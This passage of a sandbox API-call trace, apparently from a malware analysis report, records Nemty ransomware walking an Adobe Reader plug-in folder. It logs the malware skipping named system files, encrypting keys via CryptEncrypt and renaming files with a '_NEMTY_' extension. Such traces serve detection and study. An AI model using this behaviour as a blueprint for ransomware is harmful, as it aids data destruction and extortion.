lpOverlapped=0x0) returned 1 [0190.914] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.914] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.914] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.914] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.914] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.915] CloseHandle (hObject=0x2f0) returned 1 [0190.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.915] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.NOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.nor._nemty_kgobjgd_")) returned 1 [0190.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.916] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d795840, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.PTB", cAlternateFileName="")) returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2=".") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="..") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="...") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="windows") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="$RECYCLE.BIN") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="rsa") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="NTDETECT.COM") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="ntldr") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="MSDOS.SYS") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="IO.SYS") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="boot.ini") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="boot.ini") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="AUTOEXEC.BAT") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="ntuser.dat") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="desktop.ini") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="CONFIG.SYS") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="RECYCLER") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="BOOTSECT.BAK") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="bootmgr") returned 1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="programdata") returned -1 [0190.916] lstrcmpiW (lpString1="Flash.PTB", lpString2="appdata") returned 1 [0190.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.PTB", lpUsedDefaultChar=0x0) returned 9 [0190.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.PTB", lpUsedDefaultChar=0x0) returned 9 [0190.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.PTB", lpUsedDefaultChar=0x0) returned 9 [0190.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.PTB", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.PTB", lpUsedDefaultChar=0x0) returned 9 [0190.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.917] Sleep (dwMilliseconds=0x5) [0190.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2572a150, dwHighDateTime=0x1d561e8)) [0190.926] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2572a150, dwHighDateTime=0x1d561e8)) [0190.926] GetLastError () returned 0x0 [0190.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.926] GetLastError () returned 0x0 [0190.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.926] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.926] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.926] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.927] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.927] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.927] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="tR04qOw0AJ6tRw5lBDY62c9+US+9+4CzULf6a18xk67QcR/78sfqwNQnAxk8SIpH\r\nX1RxBEtx9Ly4lsRXOS5P/91ORvKq8Z1WMjwNAfHNv7QlfvgvoZPLd0ezFJvHKsP2\r\nyS1HfwOoNqs1wFp5f+l7dZpfbB6kvWYhu5/631nrT4k73WfjcVYNjgMGNz7WiTxP\r\nh1HNEkTZ2uZBI96WWFGnjXo+fIiHJfSgOHe9BtZCyeh+F1/irZzLG1c7XbYAeh0T\r\nRiAX/pUic6vsO1PZDXF8ouNtqKBQINYhC6auvTues7DeEqabB68pmoe/qX/Qc++/\r\nxFV7qa7NnQRPvy8wFBbqQA==\r\n", pcchString=0x653e29c) returned 1 [0190.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.927] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ptb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0190.927] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0190.927] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0190.927] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.927] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0190.929] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0190.929] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0190.929] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0190.929] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0190.929] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340260*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340260*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0190.929] CloseHandle (hObject=0x2f0) returned 1 [0190.929] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0190.929] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0190.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0190.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0190.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0190.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0190.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.930] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP\\Flash.PTB._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp\\flash.ptb._nemty_kgobjgd_")) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0190.931] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d664d40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="Flash.SUO", cAlternateFileName="")) returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2=".") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="..") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="...") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="windows") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="$RECYCLE.BIN") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="rsa") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="NTDETECT.COM") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="ntldr") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="MSDOS.SYS") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="IO.SYS") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="boot.ini") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="boot.ini") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="AUTOEXEC.BAT") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="ntuser.dat") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="desktop.ini") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="CONFIG.SYS") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="RECYCLER") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="BOOTSECT.BAK") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="bootmgr") returned 1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="programdata") returned -1 [0190.931] lstrcmpiW (lpString1="Flash.SUO", lpString2="appdata") returned 1 [0190.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SUO", lpUsedDefaultChar=0x0) returned 9 [0190.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x653e550, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SUO", lpUsedDefaultChar=0x0) returned 9 [0190.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.931] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.931] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x653e5a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SUO", lpUsedDefaultChar=0x0) returned 9 [0190.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0190.932] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Flash.SUO", cchWideChar=9, lpMultiByteStr=0x653e5d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Flash.SUO", lpUsedDefaultChar=0x0) returned 9 [0190.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0190.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0190.932] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0190.932] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0190.932] Sleep (dwMilliseconds=0x5) [0190.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x257502b0, dwHighDateTime=0x1d561e8)) [0190.942] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x257502b0, dwHighDateTime=0x1d561e8)) [0190.942] GetLastError () returned 0x0 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0190.942] GetLastError () returned 0x0 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0190.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0190.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0190.942] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0190.942] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0190.942] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e29c | out: pszString="DS0NahAuF1TFNRJB0Hs0ukg0itiWmVR3TJkuuxIAbApskKLxceRbq4J/45xBuZLD\r\nwXIvrI5xepObeUFaWVFHvyNMH+Y9avqNuv5eZiSmz/cH8Bjjoyf1MPFUQxxNEkrW\r\nn6Hz1FeygIPgz6zJGsVgv+uoiumH8IbFEkmk+0EfJwKB4RAEoAFiVqvQqrmS2aIK\r\nanaXfh+9mf8UUIoFY/k7QwmxinNb/kM9F6gNz40rAcpeUjDjcE+qcQ4+JOncQzFC\r\nh+Gu3oDuDdjLAHILw9u7budlWbsvfnhu1ZmqC9BKRfRNyG/FDtP2z25xftO9rcMF\r\ndq4xhpsKdYW7RBahOip/lA==\r\n", pcchString=0x653e29c) returned 1 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0190.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0190.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0190.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0190.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0190.943] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 